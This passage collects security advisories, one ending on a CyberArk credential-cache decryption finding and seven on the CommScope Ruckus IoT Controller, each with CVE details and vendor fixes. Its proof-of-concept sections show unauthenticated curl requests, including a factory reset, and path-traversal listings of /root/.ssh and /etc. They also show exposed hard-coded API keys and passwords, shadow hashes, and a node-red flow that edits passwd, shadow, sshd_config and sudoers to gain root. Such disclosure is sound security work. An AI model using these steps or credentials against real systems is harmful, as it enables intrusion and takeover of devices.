configuration_cache.dat as demonstrated here: ```text $ decrypt-cyberark-cache.py appprv Prov_acme ${SUFFIX1} ${SUFFIX2} configuration_cache.dat --- output --- KEY='0066B3EEC3A5BBF53FC22F92F566A26AB7777E2AA25DA169B7A5148D9985803F'; LINE='1'; STATUS='pass'; ACTUAL_HASH='DD081E18FC027B73E6513959A6457DD8E6226848'; TARGET_HASH='DD081E18FC027B73E6513959A6457DD8E6226848'; LINE='1'; RECORD='1'; ITEM='1'; VALUE='1'; LINE='1'; RECORD='2'; ITEM='1'; VALUE='8'; LINE='2'; STATUS='pass'; ACTUAL_HASH='E13994FC37A8528B8C55B65CD36F56DD4A9FE212'; TARGET_HASH='E13994FC37A8528B8C55B65CD36F56DD4A9FE212'; LINE='2'; RECORD='1'; ITEM='1'; VALUE='0'; LINE='2'; RECORD='2'; ITEM='1'; VALUE='12'; LINE='2'; RECORD='3'; ITEM='1'; VALUE='LastUpdate=0'; LINE='2'; RECORD='3'; ITEM='2'; VALUE='vars=InstalledProvidersOnVault=366|ProviderUserType=33|'; LINE='2'; RECORD='4'; ITEM='1'; VALUE=''; LINE='3'; STATUS='pass'; ACTUAL_HASH='1114122803D02CC642788B048ED91ED0352CCA8B'; TARGET_HASH='1114122803D02CC642788B048ED91ED0352CCA8B'; LINE='3'; RECORD='1'; ITEM='1'; VALUE='F1E723C8285DD3EADC3004A668062BD2EA03CD4A'; FILE_HASH='F1E723C8285DD3EADC3004A668062BD2EA03CD4A'; --- output --- ``` It should be noted that the decryption utility is equally effective on appprovider_cache.dat, which is where the majority of sensitive information (i.e., passwords, password metadata, and other application properties) is stored. In practice, attackers will likely target that file exclusively. [1] https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-CP/Latest/en/Content/CP%20and%20ASCP/configuring-caching.htm [2] https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-CP/Latest/en/Content/CP%20and%20ASCP/installing-the-Credential-Provider.htm [3] https://tools.ietf.org/html/rfc1035 ## Mitigation and Remediation Recommendation The vendor has released an updated version (v12.1) which remediates the described vulnerability. Release notes are available at: https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/Release%20Notes/RN-WhatsNew12-1-CPs.htm?tocpath=Get%20Started%7CWhat%E2%80%99s%20New%7CRelease%20Notes%7C_____4 ## Credit This vulnerability was discovered by Klayton Monroe of KoreLogic, Inc. ## Proof of Concept At the vendor's request, KoreLogic has agreed to delay publication of the Proof of Concept while customers continue to deploy the updated versions of the product. --- ## KL-001-2021-001: CommScope Ruckus IoT Controller Unauthenticated API Endpoints URL: https://korelogic.com/advisories/KL-001-2021-001/ KL-001-2021-001 - CommScope Ruckus IoT Controller Unauthenticated API Endpoints - CVE-2021-33221 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-001 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33221 CWE: CWE-306 - Missing Authentication for Critical Function Discovered by: Jim Becher ## References - [CWE-306 - Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [CVE-2021-33221](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33221) - [Signed advisory text](/advisories/KL-001-2021-001.txt) ## Vulnerability Description Three API endpoints for the IoT Controller are accessible without authentication. Two of the endpoints result in information leakage and consumption of computing/storage resources. The third API endpoint that does not require authentication allows for a factory reset of the IoT Controller. ## Technical Description A "service details" API endpoint discloses system and configuration information to an attacker without requiring authentication. This information includes DNS and NTP servers that the devices uses for time and host resolution. It also includes the internal hostname and IoT Controller version. A fully configured device in production may leak other, more sensitive information (API keys and tokens). Another API endpoint that can be accessed without authentication can be used to generate diagnostic/support files. The process of generating these diagnostic files consumes CPU and disk utilization. The files can be retrieved, but are encrypted. The third API endpoint that can be accessed without authentication will reset the virtual appliance back in to a factory reset condition - removing the current configuration of the device. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept ```text https://192.168.2.220/service/v1/service-details $ curl -k https://192.168.2.220/service/v1/service-details {"message": {"ok": 1, "data": {"visionline_password": "sym", "is_vm": true, "dns2": "8.8.4.4", "ibm_gateway_token": "-", "ntp_server": "ntp.ubuntu.com", "visionline_username": "sym", "vm_reset_pwd": "0", "gateway": "192.168.2.254", "visionline_ip": "-", "netmask": "255.255.255.0", "ip_address": "192.168.2.220", "hostname": "vriot", "version": "1.6.0.0.42", "ntp_state": "1", "ibm_enabled": "0", "visionline_port": "443", "ibm_org_id": "-", "vm_n1_mode": "0", "aa_enabled": "0", "ibm_api_token": "-", "cert_expire": "Oct 21 10:09:23 2030 GMT", "common_name": "local-mqtt.video54.local", "dns": "8.8.8.8", "ibm_gateway_type": "-", "ibm_gateway_id": "-", "ibm_api_key": "-", "ipv4_mode": "1", "datetime": "01/07/2021 18:46:13"}}} ``` ```text https://192.168.2.220/service/v1/diagnostic $ curl -k https://192.168.2.220/service/v1/diagnostic {"message": {"fileName": "/static/diagnostic/diagnostic_2021-01-07-18-46-58.tar.gz", "ok": 1}} ``` A POST to the `/reset` URL does not require authentication: ```python @app.route('/reset',methods=["POST"]) def reset(): """ Resets the system to factory condition. """ ``` This was tested and confirmed. ```text $ curl -k https://192.168.2.220/reset -X POST curl: (52) Empty reply from server $ $ ping 192.168.2.220 PING 192.168.2.220 (192.168.2.220) 56(84) bytes of data. From 192.168.2.99 icmp_seq=1 Destination Host Unreachable ^C --- 192.168.2.220 ping statistics --- 3 packets transmitted, 0 received, +1 errors, 100% packet loss, time 2014ms ``` --- ## KL-001-2021-002: CommScope Ruckus IoT Controller Hard-coded API Keys Exposed URL: https://korelogic.com/advisories/KL-001-2021-002/ KL-001-2021-002 - CommScope Ruckus IoT Controller Hard-coded API Keys Exposed - CVE-2021-33220 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-002 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33220 CWE: CWE-798 - Use of Hard-coded Credentials Discovered by: Jim Becher ## References - [CWE-798 - Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) - [CVE-2021-33220](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33220) - [Signed advisory text](/advisories/KL-001-2021-002.txt) ## Vulnerability Description API keys for CommScope Ruckus are included in the IoT Controller OVA image, and are exposed to attackers who mount the filesystem. ## Technical Description Ruckus vRIoT server software is available from the software library at: https://support.ruckuswireless.com/software/ Once the OVA is imported into VirtualBox, a VMDK file is created. The VMDK file can be mounted and the directory structure and its contents can be perused. The virtual appliance contains clear text API keys that are hard-coded into the web application code. The API keys can be abused to gain information about deployed assets and send email via SendGrid as Commscope/Ruckus. While the AWS SECRET_KEY is exposed, an ACCESS_KEY is not. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept With the VMDK file mounted at the current working directory: ```text root@vriot:/# grep -R 'KIO_API_KEY' /VRIOT/ 2>/dev/null ./VRIOT/backend/settings/defaults.py:KIO_API_KEY = os.environ.get("KIO_API_KEY", "wxtPbzgNNWFlfBqhDfEDoZkQUxtnhWTq") $ egrep -r 'SECRET_KEY|ACCESS_KEY' ./VRIOT/* ./VRIOT/authServer/app/baseapp/settings.py:SECRET_KEY = 'db$04-yk#-3&=54s78d-tvu!+e3#621kj9s!3g$x3t^@m1m6#i' ./VRIOT/backend/settings/settings.py:SECRET_KEY = '%u9-#a6eo0!ukif-+kcg3=gc-zlh8o3@)rz@!-74(g*xa0c#bb' Binary file ./VRIOT/backend/lora/lorawan1.6.0.0.tar matches Binary file ./VRIOT/ops/scripts/image_push.pyc matches ./VRIOT/ops/sqlite_modules/aws4/README.md:// or it can get credentials from process.env.AWS_ACCESS_KEY_ID, etc ./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_ACCESS_KEY_ID="" ./VRIOT/ops/sqlite_modules/aws4/README.md:export AWS_SECRET_ACCESS_KEY="" ./VRIOT/ops/sqlite_modules/aws4/README.md:(will also use `AWS_ACCESS_KEY` and `AWS_SECRET_KEY` if available) ./VRIOT/ops/sqlite_modules/aws4/aws4.js: accessKeyId: env.AWS_ACCESS_KEY_ID || env.AWS_ACCESS_KEY, ./VRIOT/ops/sqlite_modules/aws4/aws4.js: secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY, ``` ```text $ more ./VRIOT/authServer# more app/baseapp/settings.py ... # Email server settings. EMAIL_HOST = 'smtp.sendgrid.net' EMAIL_HOST_USER = 'apikey' EMAIL_HOST_PASSWORD = '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' EMAIL_PORT = 587 EMAIL_USE_TLS = True ... ``` Per https://sendgrid.com/docs/API_Reference/SMTP_API/integrating_with_the_smtp_api.html, the SendGrid password identified above is actually an API key, which can be used with the 'apikey' user to send email through the SendGrid platform as Commscope Ruckus. --- ## KL-001-2021-003: CommScope Ruckus IoT Controller Hard-coded System Passwords URL: https://korelogic.com/advisories/KL-001-2021-003/ KL-001-2021-003 - CommScope Ruckus IoT Controller Hard-coded System Passwords - CVE-2021-33218 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-003 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33218 CWE: CWE-259 - Use of Hard-coded Password Discovered by: Jim Becher ## References - [CWE-259 - Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html) - [CVE-2021-33218](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33218) - [Signed advisory text](/advisories/KL-001-2021-003.txt) ## Vulnerability Description Hard coded, system-level credentials exist on the Ruckus IoT Controller OVA image, and are exposed to attackers who mount the filesystem. ## Technical Description Ruckus vRIoT server software is available from the software library at: https://support.ruckuswireless.com/software/ Once the OVA is imported into VirtualBox, a VMDK file is created. The VMDK file can be mounted and the directory structure and its contents can be perused. The virtual appliance contains three system accounts with password hashes. The three accounts are `root`, `admin`, and `vriotha`. The `admin` account is documented in vendor documentation, but not the other two accounts. The password for `admin` is documented and can be changed by the user. The password for the `vriotha` account is `nplus1user`. The password for the `vriotha` account is hardcoded into support scripts. The root hash is still undergoing password cracking attempts. The `admin` and `vriotha` accounts are restricted in terms of their shell, they do not drop to typical Unix shell access. The virtual appliance does not appear to offer a mechanism for changing the default password from the vendor for the `root` or `vriotha` accounts. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept With the VMDK file mounted at the current working directory: ```text $ sudo cat etc/shadow root:$1$root$.6wlmowMW0KVjst8z6Yqa.:17393:0:99999:7::: ... admin:$6$AwyhYDBW$KS5q63LZBuQxPM2RG1N/.TvbaKC5gnoq8ERgMSBGms1EL9IZPrM4SscOvsF/FsoD1fgFjYrJF1as0BSYM0SVa0:17667:0:99999:7::: vriotha:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7::: $ egrep '^root|^admin|^vriotha' etc/passwd root:x:0:0:root:/root:/bin/bash admin:x:1001:1001::/home/admin:/VRIOT/ops/scripts/ras vriotha:x:1003:1003::/home/vriotha:/usr/bin/rssh ``` ```python /VRIOT/ops/scripts/haN1/n1_ha.py: scpstr = "vriotha@"+slave_ip+":/tmp/authkey >/dev/null 2>&1" #call(['sshpass','-p','"nplus1user"','scp','-o','StrictHostKeyChecking=no','/etc/corosync/authkey',scpstr]) os.system(" ".join(['sshpass','-p','"nplus1user"','scp','-o','StrictHostKeyChecking=no','/etc/corosync/authkey',scpstr])) ... ### Call slave API to create user ##### # HOTST_URL = "https://"+replace_ip+"/service/v1/createUser" # json_request = { # "username":"vriotha", # "password":"nplus1user" ... os.system(" ".join(['sshpass','-p','"nplus1user"','scp','-o','StrictHostKeyChecking=no','/etc/corosync/authkey',scpstr])) /VRIOT/ops/scripts/entrypoint.py: userpwd = 'useradd vriotha ; echo vriotha:nplus1user | chpasswd >/dev/null 2>&1' os.system(userpwd) call(['usermod','-aG','sudo','vriotha'],stdout=devNullFile) call(['chsh','-s','/usr/bin/rssh','vriotha'],stdout=devNullFile) /VRIOT/ops/scripts/haN1/ha_slave.py: scpstr = "vriotha@"+master_ip+":/VRIOT/ha/" os.system(" ".join(['sshpass','-p','"nplus1user"','scp','-o','StrictHostKeyChecking=no','-r',scpstr,'/VRIOT/'+master_ip+'/'])) ``` --- ## KL-001-2021-004: CommScope Ruckus IoT Controller Hard-coded Web Application Administrator Password URL: https://korelogic.com/advisories/KL-001-2021-004/ KL-001-2021-004 - CommScope Ruckus IoT Controller Hard-coded Web Application Administrator Password - CVE-2021-33219 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-004 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33219 CWE: CWE-259 - Use of Hard-coded Password Discovered by: Jim Becher ## References - [CWE-259 - Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html) - [CVE-2021-33219](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33219) - [Signed advisory text](/advisories/KL-001-2021-004.txt) ## Vulnerability Description An undocumented, administrative-level, hard coded web application account exists in the IoT Controller OVA which cannot be changed by the customer. ## Technical Description Ruckus vRIoT server software is available from the software library at: https://support.ruckuswireless.com/software/ Once the OVA is imported into VirtualBox, a VMDK file is created. The VMDK file can be mounted and the directory structure and its contents can be perused. The virtual appliance contains two web application accounts with passwords stored in clear text on the file system. The two accounts are `admin` and `nplus1user`. The `admin` account is documented in vendor documentation, but the `nplus1user` account is undocumented. The password for `admin` is documented and can be changed by the user. The password for the `nplus1user` account is `nplus1user`. Both accounts are administrative-level accounts. The virtual appliance does not appear to offer a mechanism for changing the default password from the vendor for the `nplus1user` account. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept With the VMDK file mounted at the current working directory: ```text $ more ./VRIOT/authServer/app/authapi# more __init__.py ... try: if not Account.objects.count()>0: admin_acc = Account() admin_acc.username = 'admin' admin_acc.first_name = 'Ed' admin_acc.last_name = 'Sy' admin_acc.company = 'Ruckus' admin_acc.email = 'admin@ruckuswireless.com' admin_acc.password = pbkdf2_sha256.hash('admin') admin_acc.send_notification = False admin_acc.save() with open('/var/log/auth_mongo_conn.log','a+') as f: f.write('Admin Account Created Succssfully!') admin_acc = Account() admin_acc.username = 'nplus1user' admin_acc.first_name = 'Ed' admin_acc.last_name = 'Sy' admin_acc.company = 'Ruckus' admin_acc.email = 'nplus1user@ruckuswireless.com' admin_acc.password = pbkdf2_sha256.hash('nplus1user') ... ``` --- ## KL-001-2021-005: CommScope Ruckus IoT Controller Web Application Directory Traversal URL: https://korelogic.com/advisories/KL-001-2021-005/ KL-001-2021-005 - CommScope Ruckus IoT Controller Web Application Directory Traversal - CVE-2021-33215 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-005 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33215 CWE: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') CWE: CWE-250 - Execution with Unnecessary Privileges Discovered by: Jim Becher ## References - [CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html) - [CWE-250 - Execution with Unnecessary Privileges](https://cwe.mitre.org/data/definitions/250.html) - [CVE-2021-33215](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33215) - [Signed advisory text](/advisories/KL-001-2021-005.txt) ## Vulnerability Description A Python script (`web.py`) for a Dockerized webservice contains a directory traversal vulnerability, which can be leveraged by an authenticated attacker to view the contents of directories on the IoT Controller. ## Technical Description The CommScope Ruckus IoT Controller features a directory traversal vulnerability that allows an authenticated attacker to explore the IoT Controller's file system. The vulnerable Python script is `/VRIOT/ops/docker/webservice/web.py`. With the web application running as root, this allows for all directories to be explored. An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219). ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept ```bash $ curl -k -H "Authorization: Token [valid token]" 'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../root/.ssh/' ``` ```text {u'base_path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/', u'message': u'List', u'response': [{u'is_dir': False, u'is_file': True, u'is_symlink': False, u'name': u'known_hosts', u'path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/known_hosts', u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../root/.ssh/known_hosts', u'st_atime': 1582707570.3173862, u'st_ctime': 1582707550.1438398, u'st_dev': 2049, u'st_gid': 0, u'st_ino': 132199, u'st_mode': 33188, u'st_mtime': 1582707550.1438398, u'st_nlink': 1, u'st_size': 963, u'st_uid': 0}], u'static_path': u'/VRIOT/node-red/static'} ``` The above output is a pretty-printed version of the JSON response returned. ```bash $ curl -k -H "Authorization: Token [valid token]" 'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../etc/' ``` ```text {u'base_path': u'/VRIOT/node-red/static/../../../../../../../../etc/', u'message': u'List', u'response': [{u'is_dir': True, u'is_file': False, u'is_symlink': False, u'name': u'python3', u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/python3', u'showpath': u'/../../../../../../../../etc/python3', u'st_atime': 1610463245.7594006, u'st_ctime': 1493664067.5699568, u'st_dev': 2049, u'st_gid': 0, u'st_ino': 262743, u'st_mode': 16877, u'st_mtime': 1493664067.5699568, u'st_nlink': 2, u'st_size': 4096, u'st_uid': 0}, {u'is_dir': True, u'is_file': False, u'is_symlink': False, u'name': u'ldap', u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/ldap', u'showpath': u'/../../../../../../../../etc/ldap', u'st_atime': 1610463245.7594006, u'st_ctime': 1527803641.495955, u'st_dev': 2049, u'st_gid': 0, u'st_ino': 304157, u'st_mode': 16877, u'st_mtime': 1527803641.495955, u'st_nlink': 2, u'st_size': 4096, u'st_uid': 0}, {u'is_dir': False, u'is_file': True, u'is_symlink': False, u'name': u'rsyslog.conf', u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/rsyslog.conf', u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../etc/rsyslog.conf', u'st_atime': 1609718505.600734, u'st_ctime': 1493664067.573957, u'st_dev': 2049, u'st_gid': 0, u'st_ino': 262833, u'st_mode': 33188, u'st_mtime': 1453934568.0, u'st_nlink': 1, u'st_size': 1371, u'st_uid': 0}, {u'is_dir': True, u'is_file': False, u'is_symlink': False, u'name': u'pacemaker', u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/pacemaker', u'showpath': u'/../../../../../../../../etc/pacemaker', u'st_atime': 1610463245.7674005, u'st_ctime': 1550175549.2084513, u'st_dev': 2049, u'st_gid': 0, u'st_ino': 267639, u'st_mode': 16877, u'st_mtime': 1550175549.2084513, u'st_nlink': 2, u'st_size': 4096, u'st_uid': 0}, ... ... ``` The above output is a pretty-printed version of the JSON response returned. --- ## KL-001-2021-006: CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write URL: https://korelogic.com/advisories/KL-001-2021-006/ KL-001-2021-006 - CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write - CVE-2021-33217 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-006 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33217 CWE: CWE-250 - Execution with Unnecessary Privileges Discovered by: Jim Becher ## References - [CWE-250 - Execution with Unnecessary Privileges](https://cwe.mitre.org/data/definitions/250.html) - [CVE-2021-33217](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33217) - [Signed advisory text](/advisories/KL-001-2021-006.txt) ## Vulnerability Description The IoT Controller web application includes a NodeJS module, node-red, which has the capability for users to read or write to local files on the IoT Controller. With the elevated privileges the web application runs as, this allowed for reading and writing to any file on the IoT Controller filesystem. ## Technical Description The Ruckus IoT Controller contains the node-red NodeJS Module. The node-red module has the built in functionality to read and write to files on the local filesystem of the IoT Controller. An authentication token is required. But a token is easily obtained due to hard-coded, default, unchangeable web application credentials (CVE-2021-33219). With the web application (and the node-red NodeJS module) running as root, this functionality can be leveraged to read or write to any file on the filesystem of the Ruckus IoT Controller. This condition was leveraged to add an account to the `/etc/passwd` file, then used to add a password hash to `/etc/shadow`. Additionally, the SSH daemon configuration was modified to ensure that the newly added account would be able to SSH in to the device. And to complete the escalation to root-level privileges, the newly added account was added to the `/etc/sudoers` configuration file. None of these steps would have been possible if the web application (and the node-red module as a result) had not been running as the 'root' user. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept An excerpt of one of the POSTs, which is 16000+ bytes in length, is below: ```http POST /node-red/flows HTTP/1.1 .... .... {"id":"b64c27d9.bde92","type":"debug","z":"9e8d5b92.105d48","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","targetType":"msg","x":410,"y":420,"wires":[]},{"id":"6a762f41.9154e","type":"file in","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","format":"lines","chunk":false,"sendError":false,"encoding":"none","x":240,"y":340,"wires":[["b64c27d9.bde92"]]},{"id":"9f4d3e63.679728","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":300,"y":540,"wires":[[]]},{"id":"226919a8.efb196","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"","payload":"jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":500,"wires":[["9f4d3e63.679728"]]},{"id":"7b6a1a67.f44ef4","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash","payload":"","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":600,"wires":[["72dfbb2b.4e930c"]]},{"id":"72dfbb2b.4e930c","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/passwd","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":320,"y":640,"wires":[[]]}],"rev":"0564d9f18d8097f549648378fe8c4476"} ``` and then there is a subsequent POST to inject/trigger the flow. ```text root@vriot:~# tail -1 /etc/passwd jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash root@vriot:~# tail -1 /etc/shadow jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7::: ``` Note: the above hash is the same as the hash of the vriotha user, whose password is known to be `nplus1user` (`CVE-2021-33218`). ```text root@vriot:~# tail -2 /etc/ssh/sshd_config Match User jbecher2 PasswordAuthentication yes root@vriot:~# tail -1 /etc/sudoers jbecher2 ALL=(ALL:ALL) NOPASSWD: ALL ``` --- ## KL-001-2021-007: CommScope Ruckus IoT Controller Undocumented Account URL: https://korelogic.com/advisories/KL-001-2021-007/ KL-001-2021-007 - CommScope Ruckus IoT Controller Undocumented Account - CVE-2021-33216 - CommScope Ruckus IoT Controller Advisory ID: KL-001-2021-007 Published: 2021-05-26 Vendor: CommScope Product: Ruckus IoT Controller Version: 1.7.1.0 and earlier Platform: Linux CVE: CVE-2021-33216 CWE: CWE-798 - Use of Hard-coded Credentials CWE: CWE-912 - Hidden Functionality Discovered by: Jim Becher ## References - [CWE-798 - Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) - [CWE-912 - Hidden Functionality](https://cwe.mitre.org/data/definitions/912.html) - [CVE-2021-33216](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33216) - [Signed advisory text](/advisories/KL-001-2021-007.txt) ## Vulnerability Description An upgrade account is included in the IoT Controller OVA that provides the vendor undocumented access via Secure Copy (SCP). ## Technical Description Once the OVA is imported into VirtualBox, a VMDK file is created. The VMDK file can be mounted and the directory structure and its contents can be perused. An `authorized_keys` file exists that allows an individual/organization possessing the SSH private key to access the virtual appliance using the `vriotiotupgrade` account. The `vriotiotupgrade` account is restricted to `scp`, per the `rssh` configuration. Additionally, it appears that the IoT Controller has `rssh` version 2.3.4 installed and in use. At the time of this advisory, there are at least three remote command injection vulnerabilities in this particular version of `rssh`: `CVE-2019-3463`, `CVE-2019-3464` and `CVE-2019-1000018`. ## Mitigation and Remediation Recommendation The vendor has released an updated firmware (1.8.0.0) which remediates the described vulnerability. Firmware and release notes are available at: https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf ## Credit This vulnerability was discovered by Jim Becher (@jimbecher) of KoreLogic, Inc. ## Proof of Concept With the VMDK file mounted at the current working directory: ```text $ find . -name authorized_keys ./VRIOT/ap-images/authorized_keys ./VRIOT/ops/ap-images/authorized_keys $ cat VRIOT/ap-images/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCp1X4UH+0IALnLKsqbSZwgbzA1clXWXguNpTZ+Km7irkMaXVRt6IL78mdK+nKUvvQcRnAhQ0TgoqINrdLzMTYwoVaOcBq5Lw21A5JrP8IQANMAiVSM30umJYuTqnbPO4HHIi9/Gk/wUtJiwvD/ygNx7z0g1a9PIzQxOITLpwVkEU2iDdlrZDHR35jI/ddRRsbPe9ezeYGDoprgQagw634fa9tzI74oj5/Xh64679yjA0bQx+i8ZXSIHFPSHp0yiDyMZfvLIqdqb0mEAN1JnaHfIiq4o8/wa8zp7nVADo6Pxweklc1kqALFUxrzdP/6Z0hITp1Ke/xdA2S4LT3ye85QVM/k3Dd54qFpMAJsinYb18Ykyj0PTZskcBWB+l9VevpJXv+3DDH2+98Ledv/fnXQ9VapxW572fX2HkEoh4Nmt5VUx0JPR/0onwOVeuwQLp5qnHxmzgL8DMS62QkTT1VdaCqXS01DMPorKQUtmvAxohJUJX4df9JoOcwRpvKSspn+6UU1krPZHX1QYvPrRsfYhJ9SCzrVxmuC0DR3FqxGoix5su4DqCpRxq0QhwC4+DwIMt4KTIjF3p35s+bjP1luwITJOxVlIswpyZKS0hITFLJtAE7c493wX7hxUdy+LfyHXlMIoJcYM11WXLAysHcWyfmSpQ8H5GV0vxela0Qg7Q== chandini.venkatesh@commscope.com $ cat VRIOT/ops/ap-images/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCp1X4UH+0IALnLKsqbSZwgbzA1clXWXguNpTZ+Km7irkMaXVRt6IL78mdK+nKUvvQcRnAhQ0TgoqINrdLzMTYwoVaOcBq5Lw21A5JrP8IQANMAiVSM30umJYuTqnbPO4HHIi9/Gk/wUtJiwvD/ygNx7z0g1a9PIzQxOITLpwVkEU2iDdlrZDHR35jI/ddRRsbPe9ezeYGDoprgQagw634fa9tzI74oj5/Xh64679yjA0bQx+i8ZXSIHFPSHp0yiDyMZfvLIqdqb0mEAN1JnaHfIiq4o8/wa8zp7nVADo6Pxweklc1kqALFUxrzdP/6Z0hITp1Ke/xdA2S4LT3ye85QVM/k3Dd54qFpMAJsinYb18Ykyj0PTZskcBWB+l9VevpJXv+3DDH2+98Ledv/fnXQ9VapxW572fX2HkEoh4Nmt5VUx0JPR/0onwOVeuwQLp5qnHxmzgL8DMS62QkTT1VdaCqXS01DMPorKQUtmvAxohJUJX4df9JoOcwRpvKSspn+6UU1krPZHX1QYvPrRsfYhJ9SCzrVxmuC0DR3FqxGoix5su4DqCpRxq0QhwC4+DwIMt4KTIjF3p35s+bjP1luwITJOxVlIswpyZKS0hITFLJtAE7c493wX7hxUdy+LfyHXlMIoJcYM11WXLAysHcWyfmSpQ8H5GV0vxela0Qg7Q== chandini.venkatesh@commscope.com $ grep "ap-images" etc/passwd vriotiotupgrade:x:1002:1002::/VRIOT/ap-images/:/usr/bin/rssh $ tail -8 